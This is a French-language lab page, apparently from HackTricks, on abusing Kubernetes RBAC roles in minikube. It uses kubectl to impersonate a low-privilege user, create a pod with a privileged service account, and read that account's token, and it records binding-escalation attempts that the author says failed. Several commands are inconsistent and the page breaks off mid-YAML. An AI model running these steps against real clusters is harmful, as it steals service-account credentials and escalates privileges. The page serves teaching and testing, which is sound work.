Kubernetes Roles Abuse Lab

Soutenez HackTricks et obtenez des avantages !

Vous pouvez exécuter ces laboratoires à l'intérieur de minikube.

Création de Pod -> Escalade vers ns SAs

Nous allons créer :

  • Un compte de service "test-sa" avec un privilège de cluster pour lire les secrets

    • Un ClusterRole "test-cr" et un ClusterRoleBinding "test-crb" seront créés

  • Des permissions pour lister et créer des pods seront données à un utilisateur appelé "Test"

    • Un rôle "test-r" et un RoleBinding "test-rb" seront créés

  • Ensuite, nous allons confirmer que le SA peut lister les secrets et que l'utilisateur Test peut lister les pods

  • Enfin, nous allons usurper l'utilisateur Test pour créer un pod qui inclut le SA test-sa et voler le jeton du compte de service.

    • C'est la façon de montrer que l'utilisateur pourrait escalader les privilèges de cette manière

Pour créer le scénario, un compte administrateur est utilisé. De plus, pour exfiltrer le jeton sa dans cet exemple, le compte administrateur est utilisé pour exécuter à l'intérieur du pod créé. Cependant, comme expliqué ici, la déclaration du pod pourrait contenir l'exfiltration du jeton, donc le privilège "exec" n'est pas nécessaire pour exfiltrer le jeton, la permission "create" suffit.

# Créer le compte de service test-sa
# Créer un rôle et un RoleBinding pour donner des autorisations de liste et de création sur les pods dans l'espace de noms par défaut à l'utilisateur Test
# Créer un clusterrole et un clusterrolebinding pour donner à SA test-sa l'accès aux secrets partout

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: ServiceAccount
    name: test-sa
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Vérifier que test-sa peut accéder aux secrets de kube-system
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Vérifier que l'utilisateur User peut obtenir des pods dans l'espace de noms par défaut
kubectl --as Test -n default get pods

# Créer un pod en tant qu'utilisateur Test avec le SA test-sa (étape de privesc)
echo "apiVersion: v1
kind: Pod
metadata:
  name: test-pod
  namespace: default
spec:
  containers:
  - name: alpine
    image: alpine
    command: ['/bin/sh']
    args: ['-c', 'sleep 100000']
  serviceAccountName: test-sa
  automountServiceAccountToken: true
  hostNetwork: true"| kubectl --as Test apply -f -

# Se connecter au pod créé et confirmer que le jeton SA attaché appartient à test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes
# Connectez-vous au pod créé et confirmez que le jeton SA attaché appartient à test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Nettoyez le scénario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Ne fonctionne pas

Créer/Modifier des Bindings

Ne fonctionne pas:

  • Créer un nouveau RoleBinding juste avec le verbe create

  • Créer un nouveau RoleBinding juste avec le verbe patch (vous devez avoir les autorisations de liaison)

    • Vous ne pouvez pas le faire pour vous attribuer le rôle ou pour un SA différent

  • Modifier un nouveau RoleBinding juste avec le verbe patch (vous devez avoir les autorisations de liaison)

    • Vous ne pouvez pas le faire pour vous attribuer le rôle ou pour un SA différent

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["rolebindings"]
    verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r2
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb2
subjects:
  - kind: ServiceAccount
    name: test-sa
    apiGroup: ""
roleRef:
  kind: Role
  name: test-r2
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Créez un pod en tant qu'utilisateur Test avec le SA test-sa (étape de privesc)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-r2
subjects:
  - kind: ServiceAccount
    name: test-sa2
    apiGroup: ""
roleRef:
  kind: Role
  name: test-r2
  apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connectez-vous au pod créé et confirmez que le jeton SA attaché appartient à test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Nettoyez le scénario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Bindings explicites

Dans la section "Prévention de l'escalade de privilèges et amorçage" de https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/, il est mentionné que si un SA peut créer une liaison et a des autorisations explicites de liaison sur le rôle/cluster role, il peut créer des liaisons même en utilisant des rôles/clusterroles avec des autorisations qu'il n'a pas. Cependant, cela n'a pas fonctionné pour moi:

# Créez 2 SA, donnez à l'un d'eux des autorisations pour créer des clusterrolebindings
# et des autorisations de liaison sur le ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["clusterrolebindings"]
    verbs: ["get", "create"]
  - apiGroups: ["rbac.authorization.k8s.io/v1"]
    resources: ["clusterroles"]
    verbs: ["bind"]
    resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    name: test-sa
    namespace: default
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Essayez de lier le ClusterRole "admin" avec le deuxième SA (ne fonctionnera pas)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb2
subjects:
  - kind: ServiceAccount
    name: test-sa2
    namespace: default
roleRef:
  kind: ClusterRole
  name: admin
  apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Nettoyer l'environnement
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa
# Comme dans l'exemple précédent, mais dans ce cas, nous essayons d'utiliser des RoleBindings
# au lieu de CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["clusterrolebindings

Dernière mise à jour